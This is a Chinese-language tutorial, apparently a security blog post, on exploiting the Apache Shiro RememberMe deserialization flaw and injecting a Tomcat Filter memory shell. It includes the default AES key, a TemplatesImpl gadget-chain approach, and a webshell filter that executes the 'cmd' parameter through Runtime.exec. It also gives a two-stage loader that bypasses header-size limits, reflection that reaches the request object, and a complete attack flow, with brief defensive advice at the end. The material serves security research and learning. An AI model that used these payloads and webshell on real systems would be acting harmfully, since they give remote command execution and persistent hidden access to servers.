Shiro注入反序列化内存马流程
字数 1336 2025-09-01 11:26:17
Apache Shiro反序列化漏洞利用与内存马注入技术详解
一、Shiro反序列化漏洞概述
Apache Shiro是一个轻量级Java安全框架,提供认证、授权和会话管理功能。其核心漏洞在于:
- 漏洞原理:Shiro框架在处理HTTP请求的Cookie中的RememberMe值时存在反序列化设计缺陷
- 攻击向量:RememberMe值会被反序列化解析为Java对象,编码方式为:Java对象→原生序列化→AES加密
- 利用条件:攻击者获取服务端使用的AES密钥后,可伪造任意序列化数据,触发远程代码执行
二、环境搭建
使用vulhub项目提供的docker环境:
- 访问IP的8080端口可见登录页面
- 靶场依赖库:
- commons-collections:3.2.1
- commons-beanutils:1.8.3
三、任意代码执行流程
1. 恶意代码准备
创建恶意Java类示例(在/tmp目录下创建文件):
// touch.java
public class touch {
static {
try {
java.nio.file.Files.write(
java.nio.file.Paths.get("/tmp/touch"),
"".getBytes()
);
} catch (Exception e) {}
}
}
2. 利用TemplatesImpl链加载字节码
TemplatesImpl是Java XSLT处理核心类,其_bytecodes字段可直接加载字节码。通过构造反序列化链触发getTransletInstance()方法,可动态加载并执行恶意类(需继承AbstractTranslet)。
关键点:
- 使用
InstantiateTransformer实例化TrAXFilter来触发目标方法 - Shiro默认AES密钥:
kPH+bIxk5D2deZiIxcaaaA==(需根据实际情况替换)
3. 生成Payload
使用以下代码生成序列化Payload:
// 获取类字节码的方法(示例)
byte[] code = getCtClass("touch");
四、内存马注入尝试
1. 内存马准备
创建Filter型内存马:
// MemShell.java
public class MemShell implements Filter {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
HttpServletRequest request = (HttpServletRequest) req;
if (request.getParameter("cmd") != null) {
try {
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
// ...处理命令执行结果...
} catch (Exception e) {}
}
chain.doFilter(req, res);
}
// 其他必要方法...
}
2. 注入类准备
创建注入类将Filter注册到容器:
// Inject.java
public class Inject {
static {
try {
// 获取MemShell字节码并注册Filter
String code = "MemShell的Base64字节码";
// 注册逻辑...
} catch (Exception e) {}
}
}
3. 问题发现
直接注入失败原因:
- Tomcat对header长度限制(默认8k)
- 完整内存马注入Payload通常超过此限制
五、解决方案:分阶段加载
1. ShellLoader设计
改为两阶段加载:
- 第一阶段:Shiro Payload仅包含ShellLoader
- 第二阶段:通过POST data传输内存马字节码
关键挑战:在没有request对象的情况下获取请求数据
2. TomcatEcho通用回显技术
获取request对象链:
Thread.currentThread() → ThreadGroup → 遍历线程 → 找到Tomcat工作线程 → 获取RequestInfo → 获取Request/Response对象
3. 优雅的反射工具
实现链式反射获取对象:
// 支持多种语法:
// 1. 获取对象下的变量
getField(obj, "fieldName")
// 2. 类型标注和强制转换
getField(obj, "(Type)fieldName")
// 3. 数组和List下标取值
getField(obj, "arrayField[1]")
// 4. 组合实现TomcatEcho链
getField(Thread.currentThread(),
"(java.lang.ThreadGroup)group.threads[10].(org.apache.tomcat.util.threads.TaskThread)target.(org.apache.catalina.connector.Request)request")
4. 字节码优化
通过Maven编译选项缩小体积:
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<compilerArgs>
<arg>-g:none</arg> <!-- 禁用调试信息 -->
</compilerArgs>
</configuration>
</plugin>
</plugins>
</build>
六、完整攻击流程
-
生成ShellLoader的Shiro Payload
// 设置code为ShellLoader类的字节码 String code = getCtClass("ShellLoader"); // 生成RememberMe Cookie -
准备POST data部分
// 生成内存马的Base64编码字节码 String memShellCode = Base64.getEncoder().encodeToString(getCtClass("MemShell")); -
构造最终请求包
- RememberMe Cookie:包含ShellLoader的Payload
- POST Data:包含内存马字节码
- 使用URL编码确保传输安全
-
发送请求
- 成功执行后,内存马将被注入
- 通过
cmd参数执行任意命令
七、防御建议
- 升级Shiro到最新安全版本
- 修改默认AES加密密钥
- 限制反序列化类白名单
- 部署RASP防护方案
- 监控异常RememberMe值请求
通过本文所述技术,安全研究人员可以深入理解Shiro反序列化漏洞的利用方式及内存马注入的高级技巧,同时为防御此类攻击提供参考依据。